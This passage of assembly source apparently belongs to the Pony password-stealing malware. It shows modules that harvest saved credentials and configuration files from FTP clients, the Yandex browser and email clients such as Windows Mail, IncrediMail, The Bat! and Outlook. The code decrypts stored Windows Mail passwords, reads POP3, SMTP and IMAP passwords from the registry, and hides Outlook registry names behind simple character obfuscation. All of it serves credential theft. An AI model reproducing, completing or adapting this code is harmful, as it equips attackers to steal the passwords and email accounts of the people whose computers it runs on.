ret GrabWinZip endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Yandex.Internet ; http://browser.yandex.ru/ ; SFTP: not supported IFDEF COMPILE_MODULE_YANDEXINTERNET .data CYandexInternetAppDataDir db '\Yandex',0 .code GrabYandexInternet proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_YANDEXINTERNET, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CYandexInternetAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabYandexInternet endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; MyFTP ; Tested: ver 1.3.2 ; SFTP: not supported IFDEF COMPILE_MODULE_MYFTP .data CMyFTPInstName db 'My FTP',0 CMyFTPConfigFile db 'project.ini',0 .code GrabMyFTP proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MYFTP, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CMyFTPInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CMyFTPConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMyFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; sherrod FTP ; Tested: ver 1.3.2.0 ; SFTP: not supported IFDEF COMPILE_MODULE_SHERRODFTP .data CSherrodFTPConfigFile db '.xml',0 CSherrodFTPProduct db '{74FF1730-B1F2-4D88-926B-1568FAE61DB7}',0 .code INSTALLSTATE_UNKNOWN equ -1 ; No action to be taken on the feature or component. INSTALLSTATE_BROKEN equ 0 ; The feature is broken INSTALLSTATE_ADVERTISED equ 1; Advertised feature INSTALLSTATE_ABSENT equ 2 ; The feature is not installed. INSTALLSTATE_LOCAL equ 3 ; The feature is installed locally. INSTALLSTATE_DEFAULT equ 5 ; The product is to be installed with all features installed to the default states specified in the Feature table. SherrodFTPFindMsiPath proc stream, lpProductStr LOCAL lpInstallPath: DWORD LOCAL dwInstallLen: DWORD .IF !MyMsiGetComponentPath ret .ENDIF invoke MemAlloc, MAX_PATH+1 mov lpInstallPath, eax mov dwInstallLen, MAX_PATH lea eax, dwInstallLen push eax push lpInstallPath push lpProductStr push lpProductStr call MyMsiGetComponentPath invoke lstrlen, lpInstallPath .IF eax > 3 ; avoid processing system root directory invoke CommonFileScan, stream, lpInstallPath, offset CSherrodFTPConfigFile, ITEMHDR_ID or 0 .ENDIF invoke MemFree, lpInstallPath ret SherrodFTPFindMsiPath endp GrabSherrodFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_SHERRODFTP, 0 mov hdr_ofs, eax invoke SherrodFTPFindMsiPath, stream, offset CSherrodFTPProduct invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabSherrodFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NovaFTP ; Tested: ver 1.1.3 ; SFTP: implemented IFDEF COMPILE_MODULE_NOVAFTP .data CNovaFTPDbFile db 'NovaFTP.db',0 CNovaFTPAppDataDir db '\INSoftware\NovaFTP',0 .code GrabNovaFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NOVAFTP, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNovaFTPAppDataDir, offset CNovaFTPDbFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNovaFTP endp ENDIF IFDEF GRAB_EMAIL ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common Windows Mail decryption code IFDEF COMPILE_MODULE_WINDOWS_MAIL COMPILE_WINDOWS_MAIL_CODE equ 1 ELSEIFDEF COMPILE_MODULE_WINDOWS_LIVE_MAIL COMPILE_WINDOWS_MAIL_CODE equ 1 ENDIF IFDEF COMPILE_WINDOWS_MAIL_CODE .data CWindowsMailXMLFile db '.oeaccount',0 CWindowsMailSaltValue db 'Salt',0 WindowsMailSaltValueData dd 0 WindowsMailSaltValueDataLen dd 0 CWindowsMailPasswordTerminator db '>',0 CWindowsMailPasswordEnd db '</',0 CWindowsMailPasswordList db '<_OP3_Password2',0 CWindowsMailSMTPPass db '<_MTP_Password2',0 db '<IMAP_Password2',0 db '<HTTPMail_Password2',0 db 0 .code WindowsMailDecryptPassword proc uses esi edi stream, szFileName LOCAL map: MappedFile LOCAL xml_str: DWORD LOCAL xml_pass_start: DWORD LOCAL pass_len: DWORD LOCAL pass: DWORD LOCAL nWideChars: DWORD LOCAL pOptionalBlob: DATA_BLOB invoke FileExists, szFileName .IF !eax ret .ENDIF mov byte ptr[CWindowsMailPasswordList+1], 'P' mov byte ptr[CWindowsMailSMTPPass+1], 'S' invoke MapFile, szFileName, addr map .IF eax m2m nWideChars, map.dwFileSize shr nWideChars, 1 ; try to convert unicode string to ansi invoke UnicodeToAnsiLen, map.lpMem, nWideChars .IF eax mov xml_str, eax mov esi, eax .ELSE invoke MemAlloc, map.dwFileSize mov xml_str, eax invoke MoveMem, map.lpMem, xml_str, map.dwFileSize mov esi, xml_str .ENDIF .WHILE esi && byte ptr[esi] mov edi, offset CWindowsMailPasswordList @next_password_value: invoke StrStr, esi, edi .IF eax jmp @password_value_found .ENDIF @Next @next_password_value ; password value not found .BREAK @password_value_found: ; find xml tag-close bracket mov esi, eax invoke StrStrI, esi, offset CWindowsMailPasswordTerminator .IF !eax .BREAK .ENDIF inc eax mov esi, eax mov xml_pass_start, esi ; find closing tag invoke StrStr, esi, offset CWindowsMailPasswordEnd .IF !eax .BREAK .ENDIF ; replace closing tag with string null-terminator mov dl, byte ptr[eax] mov byte ptr[eax], 0 push eax push edx invoke lstrlen, xml_pass_start .IF eax mov pass_len, eax invoke lstrdup, xml_pass_start mov pass, eax invoke DecodeHexString, pass, pass_len .IF eax shr pass_len, 1 m2m pOptionalBlob.pbData, WindowsMailSaltValueData m2m pOptionalBlob.cbData, WindowsMailSaltValueDataLen invoke CommonCryptUnprotectData, pass, addr pass_len, addr pOptionalBlob .IF eax ; Write encrypted-decrypted password pair invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteString, stream, xml_pass_start invoke StreamWriteBinaryString, stream, pass, pass_len .ENDIF .ENDIF invoke MemFree, pass .ENDIF ; restore null-terminator char to previous state pop edx pop eax mov byte ptr[eax], dl .ENDW ; Export xml file invoke StreamWriteDWORD, stream, ITEMHDR_ID or 2 invoke StreamWriteBinaryString, stream, map.lpMem, map.dwFileSize invoke MemFree, xml_str invoke UnmapFile, addr map .ELSE .ENDIF ret WindowsMailDecryptPassword endp WindowsMailProcessXMLFile proc stream, szXMLPath, item_id invoke WindowsMailDecryptPassword, stream, szXMLPath ret WindowsMailProcessXMLFile endp WindowsMailAppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, appdata_dir push eax invoke CommonFileScanCallback, stream, eax, config_file, item_id, offset WindowsMailProcessXMLFile call MemFree .ENDIF ret WindowsMailAppDataCommonSingleFileScan endp WindowsMailCommonScan proc stream, base_appdata_dir invoke WindowsMailAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CWindowsMailXMLFile, ITEMHDR_ID or 0 invoke WindowsMailAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CWindowsMailXMLFile, ITEMHDR_ID or 0 invoke WindowsMailAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CWindowsMailXMLFile, ITEMHDR_ID or 0 ret WindowsMailCommonScan endp WindowsMailScan proc stream, szBaseAppDataDir, szBaseRegPath invoke RegReadValueStr, dwCurrentUserKey, szBaseRegPath, offset CWindowsMailSaltValue, offset WindowsMailSaltValueDataLen .IF eax mov WindowsMailSaltValueData, eax invoke WindowsMailCommonScan, stream, szBaseAppDataDir invoke MemFree, WindowsMailSaltValueData .ENDIF ret WindowsMailScan endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Windows Live Mail ; Tested: Version 2011 (Build 15.4.3555.0308) on Windows 7 64-bit IFDEF COMPILE_MODULE_WINDOWS_LIVE_MAIL .data CWindowsLiveMailAppDataDir db '\Microsoft\Windows Live Mail',0 CWindowsLiveMailRegPath db 'Software\Microsoft\Windows Live Mail',0 .code GrabWindowsLiveMail proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WINDOWS_LIVE_MAIL, 0 mov hdr_ofs, eax invoke WindowsMailScan, stream, offset CWindowsLiveMailAppDataDir, offset CWindowsLiveMailRegPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWindowsLiveMail endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Windows Mail IFDEF COMPILE_MODULE_WINDOWS_MAIL .data CWindowsMailAppDataDir db '\Microsoft\Windows Mail',0 CWindowsMailRegPath db 'Software\Microsoft\Windows Mail',0 .code GrabWindowsMail proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WINDOWS_MAIL, 0 mov hdr_ofs, eax invoke WindowsMailScan, stream, offset CWindowsMailAppDataDir, offset CWindowsMailRegPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWindowsMail endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Becky! ; Tested: version 2.61.01 [en] IFDEF COMPILE_MODULE_BECKY .data CBeckyRegPath db 'Software\RimArts\B2\Settings',0 CBeckyRegValue db 'DataDir',0 CBeckyRegValue2 db 'DataDirBak',0 CBeckyMailboxFile db 'Mailbox.ini',0 .code GrabBecky proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BECKY, 0 mov hdr_ofs, eax invoke RegReadValueStr, dwCurrentUserKey, offset CBeckyRegPath, offset CBeckyRegValue, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset CBeckyMailboxFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CBeckyRegPath, offset CBeckyRegValue, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset CBeckyMailboxFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset CBeckyRegPath, offset CBeckyRegValue2, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset CBeckyMailboxFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset CBeckyRegPath, offset CBeckyRegValue2, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset CBeckyMailboxFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBecky endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Pocomail ; Tested: version 4.8.0.4400 IFDEF COMPILE_MODULE_POCOMAIL .data CPocoMailRegPath db 'Software\Poco Systems Inc',0 CPocoMailPathValue db 'Path',0 CPocoMailIniFile db '\PocoSystem.ini',0 CPocoMailIniSection db 'Program',0 CPocoMailIniValue db 'DataPath',0 CPocoMailConfigFile db 'accounts.ini',0 CPocoMailAppDataDir db '\Pocomail',0 .code PocomailScanReg proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL ProfilePath: DWORD LOCAL DataPath: DWORD invoke MemAlloc, MAX_PATH+1 mov DataPath, eax invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, reg_key, S, addr CPocoMailPathValue, NULL mov ProfilePath, eax .IF ProfilePath invoke PonyStrCat, ProfilePath, offset CPocoMailIniFile push eax invoke GetPrivateProfileString, offset CPocoMailIniSection, offset CPocoMailIniValue, offset szNULL, DataPath, MAX_PATH, eax .IF eax > 3 invoke CommonFileScan, stream, DataPath, offset CPocoMailConfigFile, ITEMHDR_ID or 0 .ENDIF call MemFree .ENDIF ; recursively scan subfolders invoke PocomailScanReg, reg_key, S, stream invoke MemFree, S invoke MemFree, ProfilePath inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF invoke MemFree, DataPath ret PocomailScanReg endp GrabPocomail proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_POCOMAIL, 0 mov hdr_ofs, eax invoke PocomailScanReg, dwCurrentUserKey, offset CPocoMailRegPath, stream invoke PocomailScanReg, HKEY_LOCAL_MACHINE, offset CPocoMailRegPath, stream invoke AppDataCommonFileScan, stream, offset CPocoMailAppDataDir, offset CPocoMailConfigFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPocomail endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; IncrediMail ; Tested: version 2.5 beta IFDEF COMPILE_MODULE_INCREDIMAIL .data CIncrediMailRegPath db 'Software\IncrediMail',0 CIncrediMailEmailValue db 'EmailAddress',0 CIncrediMailProtocol db 'Technology',0 CIncrediMailPOP3Server db 'PopServer',0 CIncrediMailPOP3Port db 'PopPort',0 CIncrediMailPOP3User db 'PopAccount',0 CIncrediMailPOP3Pass db 'PopPassword',0 CIncrediMailSMTPServer db '_mtpServer',0 CIncrediMailSMTPPort db '_mtpPort',0 CIncrediMailSMTPUser db '_mtpAccount',0 CIncrediMailSMTPPass db '_mtpPassword',0 .code IncrediMailScanReg proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Email: DWORD LOCAL Protocol: DWORD LOCAL POP3Server: DWORD LOCAL POP3Port: DWORD LOCAL dwPOP3PortLen: DWORD LOCAL POP3User: DWORD LOCAL POP3Pass: DWORD LOCAL dwPOP3PassLen: DWORD LOCAL SMTPServer: DWORD LOCAL SMTPPort: DWORD LOCAL dwSMTPPortLen: DWORD LOCAL SMTPUser: DWORD LOCAL SMTPPass: DWORD LOCAL dwSMTPPassLen: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf mov S, eax ; Email, Protocol invoke RegReadValueStr, reg_key, S, addr CIncrediMailEmailValue, NULL mov Email, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailProtocol, NULL mov Protocol, eax ; POP3/IMAP invoke RegReadValueStr, reg_key, S, addr CIncrediMailPOP3Server, NULL mov POP3Server, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailPOP3Port, addr dwPOP3PortLen mov POP3Port, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailPOP3User, NULL mov POP3User, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailPOP3Pass, addr dwPOP3PassLen mov POP3Pass, eax ; SMTP invoke RegReadValueStr, reg_key, S, addr CIncrediMailSMTPServer, NULL mov SMTPServer, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailSMTPPort, addr dwSMTPPortLen mov SMTPPort, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailSMTPUser, NULL mov SMTPUser, eax invoke RegReadValueStr, reg_key, S, addr CIncrediMailSMTPPass, addr dwSMTPPassLen mov SMTPPass, eax .IF Email && (dwPOP3PassLen || dwSMTPPassLen) ; export data, type = 0000: Email | Protocol | POP3Server | POP3Port | POP3User | POP3Pass | SMTPServer | SMTPPort | SMTPUser | SMTPPass invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Email invoke StreamWriteString, stream, Protocol invoke StreamWriteString, stream, POP3Server invoke StreamWriteBinaryString, stream, POP3Port, dwPOP3PortLen invoke StreamWriteString, stream, POP3User invoke StreamWriteBinaryString, stream, POP3Pass, dwPOP3PassLen invoke StreamWriteString, stream, SMTPServer invoke StreamWriteBinaryString, stream, SMTPPort, dwSMTPPortLen invoke StreamWriteString, stream, SMTPUser invoke StreamWriteBinaryString, stream, SMTPPass, dwSMTPPassLen .ENDIF ; recursively scan subfolders invoke IncrediMailScanReg, reg_key, S, stream invoke MemFree, S invoke MemFree, Email invoke MemFree, Protocol invoke MemFree, POP3Server invoke MemFree, POP3Port invoke MemFree, POP3User invoke MemFree, POP3Pass invoke MemFree, SMTPServer invoke MemFree, SMTPPort invoke MemFree, SMTPUser invoke MemFree, SMTPPass inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret IncrediMailScanReg endp GrabIncrediMail proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_INCREDIMAIL, 0 mov hdr_ofs, eax mov byte ptr[CIncrediMailSMTPServer], 'S' mov byte ptr[CIncrediMailSMTPPort], 'S' mov byte ptr[CIncrediMailSMTPUser], 'S' mov byte ptr[CIncrediMailSMTPPass], 'S' invoke IncrediMailScanReg, dwCurrentUserKey, offset CIncrediMailRegPath, stream invoke IncrediMailScanReg, HKEY_LOCAL_MACHINE, offset CIncrediMailRegPath, stream invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabIncrediMail endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; The Bat! ; Tested: Version 5.0.36.2 IFDEF COMPILE_MODULE_THEBAT .data CTheBatConfigFileOld db 'account.cfg',0 CTheBatConfigFileNew db 'account.cfn',0 CTheBatAppDataDir1 db '\BatMail',0 CTheBatAppDataDir2 db '\The Bat!',0 CTheBatRegPath db 'Software\RIT\The Bat!',0 CTheBatDepotRegPath db 'Software\RIT\The Bat!\Users depot',0 CTheBatWorkDirValue db 'Working Directory',0 CTheBatProgramDirValue db 'ProgramDir',0 CTheBatDepotCountValue db 'Count',0 CTheBatDefaultDepotValue db 'Default',0 CTheBatDepotValueFmt db 'Dir #%d',0 .code TheBatScanFiles proc stream, rem_dir LOCAL rem_dir_exp: DWORD ; process both expanded and plain directory paths ; some The Bat! versions do not expand paths and do process folder names like `%appdata%` invoke CommonFileScan, stream, rem_dir, offset CTheBatConfigFileOld, ITEMHDR_ID or 0 invoke CommonFileScan, stream, rem_dir, offset CTheBatConfigFileNew, ITEMHDR_ID or 1 invoke ExpandEnvStr, rem_dir .IF eax mov rem_dir_exp, eax invoke CommonFileScan, stream, rem_dir_exp, offset CTheBatConfigFileOld, ITEMHDR_ID or 0 invoke CommonFileScan, stream, rem_dir_exp, offset CTheBatConfigFileNew, ITEMHDR_ID or 1 invoke MemFree, rem_dir_exp .ENDIF ret TheBatScanFiles endp TheBatScanReg proc stream, reg_key LOCAL reg_value: DWORD LOCAL count_value: DWORD LOCAL count_value_len: DWORD LOCAL count: DWORD LOCAL depot_str[40]: BYTE LOCAL dwPathLen: DWORD ; Working Directory invoke RegReadValueStr, reg_key, offset CTheBatRegPath, offset CTheBatWorkDirValue, NULL .IF eax mov reg_value, eax invoke TheBatScanFiles, stream, reg_value invoke MemFree, reg_value .ENDIF ; ProgramDir invoke RegReadValueStr, reg_key, offset CTheBatRegPath, offset CTheBatProgramDirValue, NULL .IF eax mov reg_value, eax invoke TheBatScanFiles, stream, reg_value invoke MemFree, reg_value .ENDIF ; Default depot invoke RegReadValueStr, reg_key, offset CTheBatDepotRegPath, offset CTheBatDefaultDepotValue, NULL .IF eax mov reg_value, eax invoke TheBatScanFiles, stream, reg_value invoke MemFree, reg_value .ENDIF ; Other user depots invoke RegReadValueStr, reg_key, offset CTheBatDepotRegPath, offset CTheBatDepotCountValue, addr count_value_len .IF eax mov count_value, eax .IF count_value_len == 4 ; check if value is a dword mov eax, count_value mov eax, dword ptr[eax] .IF eax > 10000 mov eax, 10000 .ENDIF mov count, eax .WHILE count invoke wsprintf, addr depot_str, offset CTheBatDepotValueFmt, count invoke RegReadValueStr, reg_key, offset CTheBatDepotRegPath, addr depot_str, addr dwPathLen .IF eax mov reg_value, eax .IF dwPathLen > 3 invoke TheBatScanFiles, stream, reg_value .ENDIF invoke MemFree, reg_value .ENDIF dec count .ENDW .ENDIF invoke MemFree, count_value .ENDIF ret TheBatScanReg endp GrabTheBat proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_THEBAT, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CTheBatAppDataDir1, offset CTheBatConfigFileOld, ITEMHDR_ID or 0 invoke AppDataCommonFileScan, stream, offset CTheBatAppDataDir1, offset CTheBatConfigFileNew, ITEMHDR_ID or 1 invoke AppDataCommonFileScan, stream, offset CTheBatAppDataDir2, offset CTheBatConfigFileOld, ITEMHDR_ID or 0 invoke AppDataCommonFileScan, stream, offset CTheBatAppDataDir2, offset CTheBatConfigFileNew, ITEMHDR_ID or 1 invoke TheBatScanReg, stream, dwCurrentUserKey invoke TheBatScanReg, stream, HKEY_LOCAL_MACHINE invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTheBat endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Outlook ; Tested: Outlook Express ; Tested: Microsoft Outlook 2000 ; Tested: Microsoft Outlook XP ; Tested: Microsoft Outlook 2007 ; Tested: Microsoft Outlook 2010 IFDEF COMPILE_MODULE_OUTLOOK .data COutlookRegValues db 'RLUQ!Dl`hm!@eesdrr',0 db 'RLUQ!Rdswds',0 db 'QNQ2!Rdswds',0 db 'QNQ2!Trds!O`ld',0 db 'RLUQ!Trds!O`ld',0 db 'OOUQ!Dl`hm!@eesdrr',0 db 'OOUQ!Trds!O`ld',0 db 'OOUQ!Rdswds',0 db 'HL@Q!Rdswds',0 db 'HL@Q!Trds!O`ld',0 db 'Dl`hm',0 db 'IUUQ!Trds',0 db 'IUUQ!Rdswds!TSM',0 db 'QNQ2!Trds',0 db 'HL@Q!Trds',0 db 'IUUQL`hm!Trds!O`ld',0 db 'IUUQL`hm!Rdswds',0 db 'RLUQ!Trds',0 db 0 COutlookBinaryValues db 'QNQ2!Qnsu',0 db 'RLUQ!Qnsu',0 db 'HL@Q!Qnsu',0 db 0 COutlookPassValues db 'QNQ2!Q`rrvnse3',0 db 'HL@Q!Q`rrvnse3',0 db 'OOUQ!Q`rrvnse3',0 db 'IUUQL`hm!Q`rrvnse3',0 db 'RLUQ!Q`rrvnse3',0 db 0 COutlookPassValues2 db 'QNQ2!Q`rrvnse',0 db 'HL@Q!Q`rrvnse',0 db 'OOUQ!Q`rrvnse',0 db 'IUUQ!Q`rrvnse',0 db 'RLUQ!Q`rrvnse',0 db 0 CExpressBasePath1 db 'Software\Microsoft\Internet Account Manager\Accounts',0 CExpressBasePath2 db 'Identities',0 COutlook2000BasePath db 'Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts',0 COutlook2002BasePath db 'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings',0 COutlook2003BasePath db 'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook',0 COutlookExtraPath db 'Software\Microsoft\Internet Account Manager',0 COutlookValue db 'Outlook',0 COutlookAccounts db '\Accounts',0 COutlookTypeIdent1 db 'identification',0 COutlookTypeIdent2 db 'identitymgr',0 COutlookSubtype1 db 'inetcomm server passwords',0 COutlookSubtype2 db 'outlook account manager passwords',0 COutlookSubtype3 db 'identities',0 COutlookGUIDFmt db '{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}',0 .code OutlookWriteData proc stream, item_name, lpStr, dwStrLen, item_id LOCAL string: DWORD invoke UnkTextToAnsi, lpStr, dwStrLen .IF eax mov string, eax invoke StreamWriteDWORD, stream, item_id invoke StreamWriteString, stream, item_name invoke StreamWriteString, stream, string invoke MemFree, string mov eax, TRUE .ENDIF ret OutlookWriteData endp OutlookReadValues proc uses edi esi ebx stream, reg_key, base_path LOCAL dwStrLen: DWORD LOCAL string: DWORD sub ebx, ebx ; Settings (E-mail, Servers, Protocol, ...) mov edi, offset COutlookRegValues @next_reg_value: invoke RegReadValueStr, reg_key, base_path, edi, addr dwStrLen .IF eax push eax invoke OutlookWriteData, stream, edi, eax, dwStrLen, ITEMHDR_ID or 0 or ebx, eax call MemFree .ENDIF @Next @next_reg_value ; Passwords mov edi, offset COutlookPassValues @next_pass_value: invoke RegReadValueStr, reg_key, base_path, edi, addr dwStrLen .IF eax push eax mov string, eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 3 invoke StreamWriteString, stream, edi invoke StreamWriteBinaryString, stream, string, dwStrLen call MemFree or ebx, TRUE .ENDIF @Next @next_pass_value ; Passwords2 mov edi, offset COutlookPassValues2 @next_pass_value2: invoke RegReadValueStr, reg_key, base_path, edi, addr dwStrLen .IF eax push eax mov esi, eax .IF dwStrLen > 1 .IF byte ptr[esi] == 1 ; Express/Outlook (PStorage) inc esi dec dwStrLen invoke OutlookWriteData, stream, edi, esi, dwStrLen, ITEMHDR_ID or 1 or ebx, eax .ELSEIF byte ptr[esi] == 2 ; Express/Outlook registry inc esi dec dwStrLen invoke CommonCryptUnprotectData, esi, addr dwStrLen, NULL .IF eax invoke OutlookWriteData, stream, edi, esi, dwStrLen, ITEMHDR_ID or 2 or ebx, eax .ENDIF .ENDIF .ENDIF call MemFree .ENDIF @Next @next_pass_value2 ; Binary values mov edi, offset COutlookBinaryValues @next_bin_value: invoke RegReadValueStr, reg_key, base_path, edi, addr dwStrLen .IF eax push eax mov string, eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 4 invoke StreamWriteString, stream, edi invoke StreamWriteBinaryString, stream, string, dwStrLen call MemFree or ebx, TRUE .ENDIF @Next @next_bin_value .IF ebx ; End of value array mark invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h .ENDIF mov eax, ebx ret OutlookReadValues endp OutlookScanPasswords proc stream, reg_key, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf mov S, eax invoke OutlookReadValues, stream, reg_key, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret OutlookScanPasswords endp OutlookScanProfiles proc stream, reg_key, BasePath, add_path LOCAL 